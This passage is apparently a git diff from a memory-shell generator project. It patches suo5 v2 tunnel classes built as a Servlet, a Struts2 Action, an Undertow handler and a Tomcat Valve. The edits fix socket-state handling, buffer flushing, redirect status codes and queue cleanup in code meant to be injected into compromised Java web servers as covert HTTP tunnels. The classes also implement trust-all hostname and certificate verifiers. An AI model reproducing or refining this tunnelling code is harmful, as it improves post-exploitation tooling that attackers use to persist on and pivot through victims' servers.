Servlet, Runnable, HostnameVerifier, X509T throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -561,6 +558,10 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -589,7 +590,7 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -603,6 +604,9 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { + resp.flushBuffer(); + } } } finally { // don't close outputStream @@ -1010,7 +1014,7 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1044,10 +1048,17 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1059,8 +1070,8 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java index c689ae93..c5ff43be 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java @@ -231,7 +231,8 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + resp.setStatus(conn.getResponseCode()); + pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -327,10 +328,13 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = resp.getOutputStream(); Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -521,8 +525,8 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -545,9 +549,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -564,6 +565,10 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -592,7 +597,7 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -606,6 +611,7 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { resp.flushBuffer(); } } } finally { // don't close outputStream @@ -1013,7 +1019,7 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1047,10 +1053,17 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1062,8 +1075,8 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java index be47db6e..3b39f5ae 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java @@ -229,8 +229,9 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())}); OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - pipeStream(conn.getInputStream(), out, false); + pipeStream(conn.getInputStream(), out, resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -326,10 +327,13 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -520,8 +524,8 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -544,9 +548,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -563,6 +564,10 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -591,7 +596,7 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -605,6 +610,9 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { + resp.getClass().getMethod("flushBuffer").invoke(resp); + } } } finally { // don't close outputStream @@ -1012,7 +1020,7 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1046,10 +1054,17 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1061,8 +1076,8 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java index 09d04725..040371f3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java @@ -234,7 +234,8 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + resp.setStatus(conn.getResponseCode()); + pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -330,10 +331,13 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = resp.getOutputStream(); Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -524,8 +528,8 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -548,9 +552,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -567,6 +568,10 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -595,7 +600,7 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -609,6 +614,7 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { resp.flushBuffer(); } } } finally { // don't close outputStream @@ -1016,7 +1022,7 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1050,10 +1056,17 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1065,8 +1078,8 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]);